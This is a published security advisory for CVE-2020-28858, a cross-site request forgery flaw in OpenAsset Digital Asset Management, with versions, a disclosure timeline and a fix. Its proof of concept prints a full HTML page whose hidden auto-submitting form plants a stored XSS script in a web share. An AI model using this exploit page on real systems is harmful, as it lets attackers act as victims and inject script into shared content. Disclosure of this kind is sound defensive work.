OpenAsset Digital Asset Management Cross Site Request Forgery

🗓️ 11 Dec 2020 00:00:00Reported by Jack MisiuraType

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OpenAsset Digital Asset Management CSRF vulnerability patched

Reporter	Title	Published	Views	Family All 9
Circl	CVE-2020-28858	14 Dec 202022:39	–	circl
CNNVD	Openasset Cross-Site Request Forgery Vulnerability	11 Dec 202000:00	–	cnnvd
CVE	CVE-2020-28858	14 Dec 202018:58	–	cve
Cvelist	CVE-2020-28858	14 Dec 202018:58	–	cvelist
EUVD	EUVD-2020-21250	7 Oct 202500:30	–	euvd
NVD	CVE-2020-28858	14 Dec 202019:15	–	nvd
OSV	CVE-2020-28858	14 Dec 202019:15	–	osv
Prion	Cross site request forgery (csrf)	14 Dec 202019:15	–	prion
RedhatCVE	CVE-2020-28858	22 May 202515:27	–	redhatcve

`Title: Cross-site request forgery (CSRF)  
  
  
  
Product: OpenAsset Digital Asset Management by OpenAsset  
  
  
  
Vendor Homepage: https://www.openasset.com/  
  
  
  
Vulnerable Version: 12.0.19 (Cloud) 11.2.1 (On-premise)  
  
  
  
Fixed Version: 12.0.26 (Cloud) 11.4.10 (On-premise)  
  
  
  
CVE Number: CVE-2020-28858  
  
  
  
Author: Jack Misiura from The Missing Link   
  
  
  
Website: https://www.themissinglink.com.au  
  
  
  
Timeline:  
  
  
  
2020-11-14 Disclosed to Vendor  
  
2020-12-04 Vendor releases final patches  
  
2020-12-10 Publication  
  
  
  
1. Vulnerability Description  
  
  
  
The OpenAsset Digital Asset Management web application was vulnerable to cross-site request forgery because it did not verify whether a request made to itself was intentionally made by the user. All actions performed by the user's navigating the site, including all administrative user actions were found to be vulnerable.  
  
  
  
2. PoC  
  
  
  
While all endpoints are vulnerable, the best attack involves using the web share functionality, to introduce a stored XSS through CSRF. The web shares are shared with third parties by application users. To perform the attack, the following HTML page can be hosted on an attacker controlled site:  
  
  
  
<html>   
  
<body>  
  
CSRF / Stored XSS Attack Demo - WebShares  
  
<iframe src="https://target-site.com/404page/123" name="targetFrame" style="display:none">  
  
</iframe>   
  
<form id="myEvilForm" name="submit" action="https://target-site.com/AJAXPage/EditDownload" target="targetFrame" method="POST" style="display:none">   
  
<input type="text" name="code" value="CODE GOES HERE"><br/>   
  
<input type="text" name="name" value="Test<script>alert("CSRF and XSS attack!");</script>"><br/>  
  
<input type="text" name="description" value="SharedFolder"><br/>  
  
<input type="text" name="expires" value="1"><br/>  
  
<input type="text" name="expiryDate" value="12-12-2030"><br/>  
  
<input type="text" name="maximumDownloads" value=""><br/>  
  
<input type="text" name="notifyEveryDownload" value="1"><br/>  
  
<input type="text" name="alive" value="on"><br/>  
  
<input type="text" name="action" value="submit"><br/>  
  
<input type="submit" value="Submit"><br/>  
  
</form>   
  
</body>  
  
<script>  
  
alert("Ready to submit CSRF attack.");  
  
myEvilForm.submit();  
  
alert("Done.");  
  
</script>  
  
</html>  
  
  
  
The code value must be replaced with the appropriate web share code - this is acquired when the web share is sent to the unauthenticated third parties. The attacker only needs to convince the user who sent the original web share information out to visit the example site.  
  
  
  
3. Solution  
  
  
  
The vendor provides an updated version (11.4.10) which should be installed immediately. If using the cloud version, the vendor has already updated it.  
  
  
  
4. Advisory URL  
  
  
  
https://www.themissinglink.com.au/security-advisories  
`

11 Dec 2020 00:00Current

8.9High risk

Vulners AI Score8.9

EPSS0.00374

cross-site request forgery digital asset management vendor homepage cloud on-premise cve-2020-28858 jack misiura csrf stored xss attack demo webshares poc solution advisory url